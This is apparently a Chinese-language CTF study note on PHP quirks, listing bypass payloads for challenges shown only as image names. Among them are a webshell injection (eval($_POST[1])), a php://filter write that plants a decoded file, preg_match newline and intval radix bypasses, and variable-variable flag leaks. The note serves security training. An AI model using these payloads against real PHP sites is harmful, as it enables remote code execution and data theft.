5.Php特性

1. 数组绕过数字匹配

Pasted image 20240407223141.png

?num[]=value1

2. 进制绕过 “数字” 匹配

  • 4476是双引号包括的。所以将其当作字符串来比较
    Pasted image 20240407223901.png
二进制0b1000101111100
八进制010574
16进制0117c

3. preg_match 换行(%0a)绕过

  • Pasted image 20240407224613.png
  • 后面的m 表示多行匹配,无则只匹配一行
?cmd=%0aphp

4. 弱等于 进制绕过intval($num,0)

Pasted image 20240407224908.png

二进制0b1000101111100
八进制010574
16进制0117c

Pasted image 20240407225530.png

5. intval 对空格 +开头的会删掉/正数处理

Pasted image 20240407232221.png

 010574
%20010574
%09010574
+010574

6. 对象的Md5值相同

Pasted image 20240407233409.png

a[]=1&b[]=2

7. 水题

Pasted image 20240407235047.png

  1. $_GET ? $_GET = &$_POST : 'flag';
    • 如果 $_GET 存在(即不为 null 或空数组),则将 $_POST 的引用赋值给 $_GET
    • 否则,返回 'flag',但这里并没有做任何实际操作。
  2. $_GET['flag'] == 'flag' ? $_GET = &$_COOKIE : 'flag';
    • 如果 $_GET['flag'] 的值等于 'flag',则将 $_COOKIE 的引用赋值给 $_GET
    • 否则,返回 'flag',但这里并没有做任何实际操作。
  3. $_GET['flag'] == 'flag' ? $_GET = &$_SERVER : 'flag';
    • 如果 $_GET['flag'] 的值等于 'flag',则将 $_SERVER 的引用赋值给 $_GET
    • 否则,返回 'flag',但这里并没有做任何实际操作。
  4. highlight_file($_GET['HTTP_FLAG'] == 'flag' ? $flag : __FILE__);
    • 如果 $_GET['HTTP_FLAG'] 的值等于 'flag',则显示 $flag 文件的内容。
    • 否则,显示当前文件(__FILE__)的内容。
      总结 :2、3不用管,看4:需要get传入httpflag=flag ,但同时由于1,GET存在,所以会将$ POST 的引用赋值给 $_ GET ,所以也要post传入HTTP_FLAG=flag

8. get shell

Pasted image 20240408145501.png

?v1=1&v2=eval($_POST[1]) ?>%23&v3=;
  • 注意这里只需要v1 是数字则 v0就是True ,不需要v2 v3都是数字
  • v0的赋值级别最高,然后v0是个数字就行,要保证v0是数字只要保证v1传入数字就好了,后面两个管你是不是数字,就算你是false也不影响我后面做题。

9. php反射 reflectionclass

Pasted image 20240408150557.png

v1=1&v2=echo new reflectionclass&v3=;

10. 字符串转16进制

Pasted image 20240408151117.png

GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=1.php
POST
v1=hex2bin

Pasted image 20240408152310.pngPasted image 20240408152314.png

11. 可变变量与foreach函数

  • foreach 函数
    foreach($ POST as$key=>$ value) 解释为遍历$ POST数组内的元素,每组元素为一个键($ key)对应一个值($value)的形式。
重点在于$$的运用

  一共使用了三次 die() 函数,第二次输出 $error,第三次输出 $suces

  如果我们通过可变变量的使用,使 $error=$suces=$flag,则无论执行第二个 die() 还是第三个 die(),都可以获取 flag

法一:
GET   suces=flag
POST  error=suces
法二:
__利用下列 die($error) 输出 flag_
_if(!_$POST['flag']==$flag){_
die($error);_

_}_

_GET  x=flag_

_POST  error=x_

__法三:__

__flag 为空,绕过 if(!___$_POST['flag']==$flag) 判断_

__GET   suces=flag&flag=__